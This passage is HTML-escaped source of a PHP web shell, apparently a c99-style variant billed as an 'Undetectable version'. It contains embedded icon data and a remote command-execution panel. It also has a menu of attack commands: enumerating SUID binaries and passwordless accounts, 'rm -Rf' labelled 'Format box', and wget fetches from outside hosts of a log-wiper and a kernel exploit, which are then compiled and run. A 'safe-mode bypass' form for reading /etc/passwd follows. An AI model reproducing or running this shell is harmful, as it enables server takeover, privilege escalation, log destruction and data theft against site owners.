&amp;quot;R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci&amp;quot;.&lt;br /&gt;
&amp;quot;Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd&amp;quot;.&lt;br /&gt;
&amp;quot;FxEAOw==&amp;quot;,&lt;br /&gt;
&amp;quot;ext_js&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH&amp;quot;.&lt;br /&gt;
&amp;quot;k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs&amp;quot;.&lt;br /&gt;
&amp;quot;a00AjYYBbc/o9HjNniUAADs=&amp;quot;,&lt;br /&gt;
&amp;quot;ext_lnk&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO&amp;quot;.&lt;br /&gt;
&amp;quot;NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi&amp;quot;.&lt;br /&gt;
&amp;quot;Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk&amp;quot;.&lt;br /&gt;
&amp;quot;AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG&amp;quot;.&lt;br /&gt;
&amp;quot;MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5&amp;quot;.&lt;br /&gt;
&amp;quot;NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf&amp;quot;.&lt;br /&gt;
&amp;quot;1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ&amp;quot;.&lt;br /&gt;
&amp;quot;ADs=&amp;quot;,&lt;br /&gt;
&amp;quot;ext_log&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN&amp;quot;.&lt;br /&gt;
&amp;quot;zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==&amp;quot;,&lt;br /&gt;
&amp;quot;ext_php&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg&amp;quot;.&lt;br /&gt;
&amp;quot;t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==&amp;quot;,&lt;br /&gt;
&amp;quot;ext_pl&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo&amp;quot;.&lt;br /&gt;
&amp;quot;GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7&amp;quot;,&lt;br /&gt;
&amp;quot;ext_swf&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O&amp;quot;.&lt;br /&gt;
&amp;quot;nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA&amp;quot;.&lt;br /&gt;
&amp;quot;ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA&amp;quot;.&lt;br /&gt;
&amp;quot;GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC&amp;quot;.&lt;br /&gt;
&amp;quot;NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=&amp;quot;,&lt;br /&gt;
&amp;quot;ext_tar&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC&amp;quot;.&lt;br /&gt;
&amp;quot;Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF&amp;quot;.&lt;br /&gt;
&amp;quot;HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD&amp;quot;.&lt;br /&gt;
&amp;quot;UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p&amp;quot;.&lt;br /&gt;
&amp;quot;uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg&amp;quot;.&lt;br /&gt;
&amp;quot;GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd&amp;quot;.&lt;br /&gt;
&amp;quot;HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB&amp;quot;.&lt;br /&gt;
&amp;quot;u4tLAgEAOw==&amp;quot;,&lt;br /&gt;
&amp;quot;ext_txt&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ&amp;quot;.&lt;br /&gt;
&amp;quot;SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7&amp;quot;.&lt;br /&gt;
&amp;quot;UpPWG3Ig6Hq/XmRjuZwkAAA7&amp;quot;,&lt;br /&gt;
&amp;quot;ext_wri&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao&amp;quot;.&lt;br /&gt;
&amp;quot;a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=&amp;quot;,&lt;br /&gt;
&amp;quot;ext_xml&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA&amp;quot;.&lt;br /&gt;
&amp;quot;gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx&amp;quot;.&lt;br /&gt;
&amp;quot;OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ&amp;quot;.&lt;br /&gt;
&amp;quot;IQA7&amp;quot;&lt;br /&gt;
 );&lt;br /&gt;
 //For simple size- and speed-optimization.&lt;br /&gt;
 $imgequals = array(&lt;br /&gt;
  &amp;quot;ext_tar&amp;quot;=&amp;gt;array(&amp;quot;ext_tar&amp;quot;,&amp;quot;ext_r00&amp;quot;,&amp;quot;ext_ace&amp;quot;,&amp;quot;ext_arj&amp;quot;,&amp;quot;ext_bz&amp;quot;,&amp;quot;ext_bz2&amp;quot;,&amp;quot;ext_tbz&amp;quot;,&amp;quot;ext_tbz2&amp;quot;,&amp;quot;ext_tgz&amp;quot;,&amp;quot;ext_uu&amp;quot;,&amp;quot;ext_xxe&amp;quot;,&amp;quot;ext_zip&amp;quot;,&amp;quot;ext_cab&amp;quot;,&amp;quot;ext_gz&amp;quot;,&amp;quot;ext_iso&amp;quot;,&amp;quot;ext_lha&amp;quot;,&amp;quot;ext_lzh&amp;quot;,&amp;quot;ext_pbk&amp;quot;,&amp;quot;ext_rar&amp;quot;,&amp;quot;ext_uuf&amp;quot;),&lt;br /&gt;
  &amp;quot;ext_php&amp;quot;=&amp;gt;array(&amp;quot;ext_php&amp;quot;,&amp;quot;ext_php3&amp;quot;,&amp;quot;ext_php4&amp;quot;,&amp;quot;ext_php5&amp;quot;,&amp;quot;ext_phtml&amp;quot;,&amp;quot;ext_shtml&amp;quot;,&amp;quot;ext_htm&amp;quot;),&lt;br /&gt;
  &amp;quot;ext_jpg&amp;quot;=&amp;gt;array(&amp;quot;ext_jpg&amp;quot;,&amp;quot;ext_gif&amp;quot;,&amp;quot;ext_png&amp;quot;,&amp;quot;ext_jpeg&amp;quot;,&amp;quot;ext_jfif&amp;quot;,&amp;quot;ext_jpe&amp;quot;,&amp;quot;ext_bmp&amp;quot;,&amp;quot;ext_ico&amp;quot;,&amp;quot;ext_tif&amp;quot;,&amp;quot;tiff&amp;quot;),&lt;br /&gt;
  &amp;quot;ext_html&amp;quot;=&amp;gt;array(&amp;quot;ext_html&amp;quot;,&amp;quot;ext_htm&amp;quot;),&lt;br /&gt;
  &amp;quot;ext_avi&amp;quot;=&amp;gt;array(&amp;quot;ext_avi&amp;quot;,&amp;quot;ext_mov&amp;quot;,&amp;quot;ext_mvi&amp;quot;,&amp;quot;ext_mpg&amp;quot;,&amp;quot;ext_mpeg&amp;quot;,&amp;quot;ext_wmv&amp;quot;,&amp;quot;ext_rm&amp;quot;),&lt;br /&gt;
  &amp;quot;ext_lnk&amp;quot;=&amp;gt;array(&amp;quot;ext_lnk&amp;quot;,&amp;quot;ext_url&amp;quot;),&lt;br /&gt;
  &amp;quot;ext_ini&amp;quot;=&amp;gt;array(&amp;quot;ext_ini&amp;quot;,&amp;quot;ext_css&amp;quot;,&amp;quot;ext_inf&amp;quot;),&lt;br /&gt;
  &amp;quot;ext_doc&amp;quot;=&amp;gt;array(&amp;quot;ext_doc&amp;quot;,&amp;quot;ext_dot&amp;quot;),&lt;br /&gt;
  &amp;quot;ext_js&amp;quot;=&amp;gt;array(&amp;quot;ext_js&amp;quot;,&amp;quot;ext_vbs&amp;quot;),&lt;br /&gt;
  &amp;quot;ext_cmd&amp;quot;=&amp;gt;array(&amp;quot;ext_cmd&amp;quot;,&amp;quot;ext_bat&amp;quot;,&amp;quot;ext_pif&amp;quot;),&lt;br /&gt;
  &amp;quot;ext_wri&amp;quot;=&amp;gt;array(&amp;quot;ext_wri&amp;quot;,&amp;quot;ext_rtf&amp;quot;),&lt;br /&gt;
  &amp;quot;ext_swf&amp;quot;=&amp;gt;array(&amp;quot;ext_swf&amp;quot;,&amp;quot;ext_fla&amp;quot;),&lt;br /&gt;
  &amp;quot;ext_mp3&amp;quot;=&amp;gt;array(&amp;quot;ext_mp3&amp;quot;,&amp;quot;ext_au&amp;quot;,&amp;quot;ext_midi&amp;quot;,&amp;quot;ext_mid&amp;quot;),&lt;br /&gt;
  &amp;quot;ext_htaccess&amp;quot;=&amp;gt;array(&amp;quot;ext_htaccess&amp;quot;,&amp;quot;ext_htpasswd&amp;quot;,&amp;quot;ext_ht&amp;quot;,&amp;quot;ext_hta&amp;quot;,&amp;quot;ext_so&amp;quot;)&lt;br /&gt;
 );&lt;br /&gt;
 if (!$getall)&lt;br /&gt;
 {&lt;br /&gt;
  header(&amp;quot;Content-type: image/gif&amp;quot;);&lt;br /&gt;
  header(&amp;quot;Cache-control: public&amp;quot;);&lt;br /&gt;
  header(&amp;quot;Expires: &amp;quot;.date(&amp;quot;r&amp;quot;,mktime(0,0,0,1,1,2030)));&lt;br /&gt;
  header(&amp;quot;Cache-control: max-age=&amp;quot;.(60*60*24*7));&lt;br /&gt;
  header(&amp;quot;Last-Modified: &amp;quot;.date(&amp;quot;r&amp;quot;,filemtime(__FILE__)));&lt;br /&gt;
  foreach($imgequals as $k=&amp;gt;$v) {if (in_array($img,$v)) {$img = $k; break;}}&lt;br /&gt;
  if (empty($images[$img])) {$img = &amp;quot;small_unk&amp;quot;;}&lt;br /&gt;
  if (in_array($img,$ext_tar)) {$img = &amp;quot;ext_tar&amp;quot;;}&lt;br /&gt;
  echo base64_decode($images[$img]);&lt;br /&gt;
 }&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  foreach($imgequals as $a=&amp;gt;$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo(&amp;quot;Warning! Remove \$images[&amp;quot;.$d.&amp;quot;]&amp;lt;br&amp;gt;&amp;quot;);}}}}&lt;br /&gt;
  natsort($images);&lt;br /&gt;
  $k = array_keys($images);&lt;br /&gt;
  echo  &amp;quot;&amp;lt;center&amp;gt;&amp;quot;;&lt;br /&gt;
  foreach ($k as $u) {echo $u.&amp;quot;:&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=&amp;quot;.$u.&amp;quot;\&amp;quot; border=\&amp;quot;1\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
  echo &amp;quot;&amp;lt;/center&amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 exit;&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;about&amp;quot;) {echo &amp;quot;&amp;lt;center&amp;gt;Undetectable version by &amp;lt;br&amp;gt; Spyk1r4 &amp;lt;br&amp;gt; &amp;lt;img src=\&amp;quot;http://emp3ror.com/images/emplogo1.gif\&amp;quot;&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;a bookmark=&amp;quot;minipanel&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;TABLE style=&amp;quot;BORDER-COLLAPSE: collapse&amp;quot; cellSpacing=0 borderColorDark=#666666 cellPadding=5 height=&amp;quot;1&amp;quot; width=&amp;quot;100%&amp;quot; bgColor=#000000 borderColorLight=#c0c0c0 border=1&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td width=&amp;quot;100%&amp;quot; height=&amp;quot;1&amp;quot; valign=&amp;quot;top&amp;quot; colspan=&amp;quot;2&amp;quot;&amp;gt;&amp;lt;p align=&amp;quot;center&amp;quot;&amp;gt;&amp;lt;b&amp;gt;:: &amp;lt;a href=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;act=cmd&amp;amp;d=&amp;lt;?php echo urlencode($d); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Command execute&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt; ::&amp;lt;/b&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td width=&amp;quot;50%&amp;quot; height=&amp;quot;1&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Enter: &amp;lt;/b&amp;gt;&amp;lt;form action=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=hidden name=act value=&amp;quot;cmd&amp;quot;&amp;gt;&amp;lt;input type=hidden name=&amp;quot;d&amp;quot; value=&amp;quot;&amp;lt;?php echo $dispd; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;cmd&amp;quot; size=&amp;quot;50&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($cmd); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=hidden name=&amp;quot;cmd_txt&amp;quot; value=&amp;quot;1&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=submit name=submit value=&amp;quot;Execute&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td width=&amp;quot;50%&amp;quot; height=&amp;quot;1&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Select: &amp;lt;/b&amp;gt;&amp;lt;form action=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;act=cmd&amp;quot; method=&amp;quot;POST&amp;quot;&amp;gt;&amp;lt;input type=hidden name=act value=&amp;quot;cmd&amp;quot;&amp;gt;&amp;lt;input type=hidden name=&amp;quot;d&amp;quot; value=&amp;quot;&amp;lt;?php echo $dispd; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;select name=&amp;quot;cmd&amp;quot;&amp;gt;&amp;lt;?php foreach ($cmdaliases as $als) {echo &amp;quot;&amp;lt;option value=\&amp;quot;&amp;quot;.htmlspecialchars($als[1]).&amp;quot;\&amp;quot;&amp;gt;&amp;quot;.htmlspecialchars($als[0]).&amp;quot;&amp;lt;/option&amp;gt;&amp;quot;;} ?&amp;gt;&amp;lt;/select&amp;gt;&amp;lt;input type=hidden name=&amp;quot;cmd_txt&amp;quot; value=&amp;quot;1&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=submit name=submit value=&amp;quot;Execute&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/TABLE&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;TABLE style=&amp;quot;BORDER-COLLAPSE: collapse&amp;quot; cellSpacing=0 borderColorDark=#666666 cellPadding=5 height=&amp;quot;116&amp;quot; width=&amp;quot;100%&amp;quot; bgColor=#000000 borderColorLight=#c0c0c0 border=1&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td height=&amp;quot;1&amp;quot; valign=&amp;quot;top&amp;quot; colspan=&amp;quot;2&amp;quot;&amp;gt;&amp;lt;p align=&amp;quot;center&amp;quot;&amp;gt;&amp;lt;b&amp;gt;:: &amp;lt;a href=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;act=cmd&amp;amp;d=&amp;lt;?php echo urlencode($d); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Shadow's tricks :D &amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt; ::&amp;lt;/b&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td width=&amp;quot;50%&amp;quot; height=&amp;quot;83&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;center&amp;gt;&lt;br /&gt;
    &amp;lt;div align=&amp;quot;center&amp;quot;&amp;gt;Useful Commands &lt;br /&gt;
    &amp;lt;/div&amp;gt;&lt;br /&gt;
    &amp;lt;form action=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
      &amp;lt;div align=&amp;quot;center&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;lt;input type=hidden name=act value=&amp;quot;cmd&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;lt;input type=hidden name=&amp;quot;d&amp;quot; value=&amp;quot;&amp;lt;?php echo $dispd; ?&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
          &amp;lt;SELECT NAME=&amp;quot;cmd&amp;quot;&amp;gt;&lt;br /&gt;
            &amp;lt;OPTION VALUE=&amp;quot;uname -a&amp;quot;&amp;gt;Kernel version&lt;br /&gt;
              &amp;lt;OPTION VALUE=&amp;quot;w&amp;quot;&amp;gt;Logged in users&lt;br /&gt;
                &amp;lt;OPTION VALUE=&amp;quot;lastlog&amp;quot;&amp;gt;Last to connect&lt;br /&gt;
                  &amp;lt;OPTION VALUE=&amp;quot;find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2&amp;gt; /dev/null&amp;quot;&amp;gt;Suid bins&lt;br /&gt;
                    &amp;lt;OPTION VALUE=&amp;quot;cut -d: -f1,2,3 /etc/passwd | grep ::&amp;quot;&amp;gt;USER WITHOUT PASSWORD!&lt;br /&gt;
                    &amp;lt;OPTION VALUE=&amp;quot;find /etc/ -type f -perm -o+w 2&amp;gt; /dev/null&amp;quot;&amp;gt;Write in /etc/?&lt;br /&gt;
                    &amp;lt;OPTION VALUE=&amp;quot;which wget curl w3m lynx&amp;quot;&amp;gt;Downloaders?&lt;br /&gt;
                    &amp;lt;OPTION VALUE=&amp;quot;cat /proc/version /proc/cpuinfo&amp;quot;&amp;gt;CPUINFO&lt;br /&gt;
                    &amp;lt;OPTION VALUE=&amp;quot;netstat -atup | grep IST&amp;quot;&amp;gt;Open ports&lt;br /&gt;
                    &amp;lt;OPTION VALUE=&amp;quot;locate gcc&amp;quot;&amp;gt;gcc installed?&lt;br /&gt;
					&amp;lt;OPTION VALUE=&amp;quot;rm -Rf&amp;quot;&amp;gt;Format box (DANGEROUS)&lt;br /&gt;
                    &amp;lt;OPTION VALUE=&amp;quot;wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c&amp;quot;&amp;gt;WIPELOGS PT1 (If wget installed)&lt;br /&gt;
                    &amp;lt;OPTION VALUE=&amp;quot;gcc zap2.c -o zap2&amp;quot;&amp;gt;WIPELOGS PT2&lt;br /&gt;
                    &amp;lt;OPTION VALUE=&amp;quot;./zap2&amp;quot;&amp;gt;WIPELOGS PT3&lt;br /&gt;
                    &amp;lt;OPTION VALUE=&amp;quot;wget http://ftp.powernet.com.tr/supermail/debug/k3&amp;quot;&amp;gt;Kernel attack (Krad.c) PT1 (If wget installed)&lt;br /&gt;
                    &amp;lt;OPTION VALUE=&amp;quot;./k3 1&amp;quot;&amp;gt;Kernel attack (Krad.c) PT2 (L1)&lt;br /&gt;
                    &amp;lt;OPTION VALUE=&amp;quot;./k3 2&amp;quot;&amp;gt;Kernel attack (Krad.c) PT2 (L2)&lt;br /&gt;
                    &amp;lt;OPTION VALUE=&amp;quot;./k3 3&amp;quot;&amp;gt;Kernel attack (Krad.c) PT2 (L3)&lt;br /&gt;
                    &amp;lt;OPTION VALUE=&amp;quot;./k3 4&amp;quot;&amp;gt;Kernel attack (Krad.c) PT2 (L4)&lt;br /&gt;
                    &amp;lt;OPTION VALUE=&amp;quot;./k3 5&amp;quot;&amp;gt;Kernel attack (Krad.c) PT2 (L5)&lt;br /&gt;
                  &amp;lt;/SELECT&amp;gt;&lt;br /&gt;
        &amp;lt;input type=hidden name=&amp;quot;cmd_txt&amp;quot; value=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;amp;nbsp;&lt;br /&gt;
        &amp;lt;input type=submit name=submit value=&amp;quot;Execute&amp;quot;&amp;gt;&lt;br /&gt;
          &amp;lt;br&amp;gt;&lt;br /&gt;
        Warning. Kernel may be alerted using higher levels &amp;lt;/div&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
    &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td width=&amp;quot;50%&amp;quot; height=&amp;quot;83&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;center&amp;gt;&lt;br /&gt;
   &amp;lt;center&amp;gt;Kernel Info: &amp;lt;form name=&amp;quot;form1&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;http://google.com/search&amp;quot;&amp;gt;&lt;br /&gt;
      &amp;lt;input name=&amp;quot;q&amp;quot; type=&amp;quot;text&amp;quot; id=&amp;quot;q&amp;quot; value=&amp;quot;&amp;lt;?php echo wordwrap(php_uname()); ?&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
      &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;client&amp;quot; value=&amp;quot;firefox-a&amp;quot;&amp;gt;&lt;br /&gt;
	  &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;rls&amp;quot; value=&amp;quot;org.mozilla:en-US:official&amp;quot;&amp;gt;&lt;br /&gt;
	  &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;hl&amp;quot; value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
	  &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;hs&amp;quot; value=&amp;quot;b7p&amp;quot;&amp;gt;&lt;br /&gt;
	  &amp;lt;input type=submit name=&amp;quot;btnG&amp;quot; VALUE=&amp;quot;Search&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&amp;lt;/center&amp;gt;&lt;br /&gt;
    &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&amp;lt;/TABLE&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;TABLE style=&amp;quot;BORDER-COLLAPSE: collapse&amp;quot; cellSpacing=0 borderColorDark=#666666 cellPadding=5 height=&amp;quot;116&amp;quot; width=&amp;quot;100%&amp;quot; bgColor=#000000 borderColorLight=#c0c0c0 border=1&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td height=&amp;quot;1&amp;quot; valign=&amp;quot;top&amp;quot; colspan=&amp;quot;2&amp;quot;&amp;gt;&amp;lt;p align=&amp;quot;center&amp;quot;&amp;gt;&amp;lt;b&amp;gt;:: &amp;lt;a href=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;act=cmd&amp;amp;d=&amp;lt;?php echo urlencode($d); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Preddy's tricks :D &amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt; ::&amp;lt;/b&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td width=&amp;quot;50%&amp;quot; height=&amp;quot;83&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;center&amp;gt;&lt;br /&gt;
    &amp;lt;div align=&amp;quot;center&amp;quot;&amp;gt;Php Safe-Mode Bypass (Read Files)&lt;br /&gt;
    &amp;lt;/div&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
    &amp;lt;form action=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
      &amp;lt;div align=&amp;quot;center&amp;quot;&amp;gt;&lt;br /&gt;
      File: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;file&amp;quot; method=&amp;quot;get&amp;quot;&amp;gt; &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Read File&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt; eg: /etc/passwd&amp;lt;br&amp;gt;&lt;br /&gt;
      &lt;br /&gt;
      &lt;br /&gt;
      &lt;br /&gt;
           &lt;br /&gt;
